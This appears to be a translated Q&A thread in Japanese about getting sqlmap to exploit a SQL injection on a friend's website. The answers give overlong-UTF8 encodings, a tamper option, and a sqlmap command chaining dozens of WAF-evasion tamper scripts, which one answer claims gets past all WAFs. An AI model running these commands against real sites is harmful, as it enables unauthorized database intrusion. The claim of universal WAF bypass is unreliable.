web-dev-qa-db-ja.com

特別なsqlmapインジェクション

私は現在、友達のウェブサイトをテストしています。私はacunetixの助けを借りてSQLインジェクションを見つけました:

- URL encoded GET input for was set to 1#####
Error message found: 
supplied argument is not a valid MySQL result

だから私は通常のsqlmapを実行してみました:

./sqlmap.py -u "http://www.example.com/ajax.php?div=content&for=1*&page=1&sort=4&show=1&what=topic" --threads=25

出力:

[11:16:31] [警告] URIパラメータ '#1 *'は注入できません[11:16:31] [重要]テストされたすべてのパラメータは注入できないようです。より多くのテストを実行するには、「-level」/「-risk」の値を増やしてみてください。また、オプション '--string'(または '--regexp')に有効な値を指定することで、再実行を試みることができます。何らかの保護メカニズム(WAFなど)が関与していると思われる場合は、オプション '--tamper'(例: '--tamper = space2comment')で再試行できます。

したがって、これらの#を含める方法が必要です(for=1%00%c0%a7%c0%a2)試しました--stringおよび--suffixが仕事をしませんでした。多分これには改ざんがありますか?

2
nickvl

これらの文字はOverlong-UTF8です: '=%27 =%c0%a7 =%e0%80%a7 =%f0%80%80%a7 "=%22 =%c0%a2 =%e0%80%a2 =% f0%80%80%a2 <=%3c =%c0%bc =%e0%80%bc =%f0%80%80%bc; =%3b =%c0%bb =%e0%80%bb =% f0%80%80%bb&=%26 =%c0%a6 =%e0%80%a6 =%f0%80%80%a6\0 =%00 =%c0%80 =%e0%80%80 = %f0%80%80%80

SQLMAPを使用している場合は、-tamper = overlongutf8を使用して脆弱性を悪用できます。

1
lmiller

改ざんをすべて1行で使用する方法がもう1つあります。

./sqlmap.py -u "http://www.example.com/ajax.php?div=content&for=1*&page=1&sort=4&show=1&what=topic" --threads=25 --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

これを使用することで、すべてのWAFを渡すことができます。

1
Oya Ü.